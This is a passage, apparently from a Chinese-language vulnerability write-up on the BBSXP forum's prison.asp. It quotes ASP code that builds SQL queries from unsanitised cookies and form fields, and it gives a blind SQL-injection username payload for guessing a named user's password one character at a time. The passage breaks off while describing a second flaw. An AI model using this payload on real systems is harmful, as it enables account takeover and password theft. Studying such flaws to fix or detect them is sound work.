for each ho in request.form("id") conn.execute("update [forum] set deltopic=0,lasttime=now,content=content&'<br><br>[此帖子已 被 "&Request.Cookies("username")&" 在 "&now&" 还原过]' where id="&ho&" and deltopic=1") next
select * from user where username='never' and right(left(userpass,1),1) ='x'
比较一下prison.asp第28行,简直就是量身定做,提交的用户名就这样就好了
never' and right(left(userpass,1),1)='x
never的密码第一位是1,我提交的不正确的话,比如提交的就是never' and right (left(userpass,1),1)='2,那么BBSXP会傻乎乎的告诉我这个用户资料不存在,呵呵, 很显然,这个的查询结果是空,当然没有资料存在了。如果我猜的不是2而是1,回来的资 料就不太一样,这里never是社区社长,不能被关进监狱,因为这个查询结果正好就是 never,所以BBSXP告诉我们不能抓入监狱。当然,猜不同的人的密码情况可能不太一样, 反正如果返回结果是用户资料不存在,你就是猜错了,否则你就猜对了。 同样的洞在同样的文件中有很多个拷贝,我就不一一列举了,下面再说一个搞笑的漏 洞。
同样的文件,行71到89是这样的
if Request("menu")="release" then sql="select * from user where username='"&Request.Cookies("username")&"'" rs.Open sql,Conn if rs("membercode") < 4 then error("<li>您的权限不够,无法释放犯人!") end if
if Request.Cookies("userpass")<>rs("userpass") then error("<li>您的密码错误") end if
rs.close conn.execute("update [user] set membercode=1 where username='"&Request ("username")&"'") conn.execute("delete from [prison] where username='"&Request("username") &"'")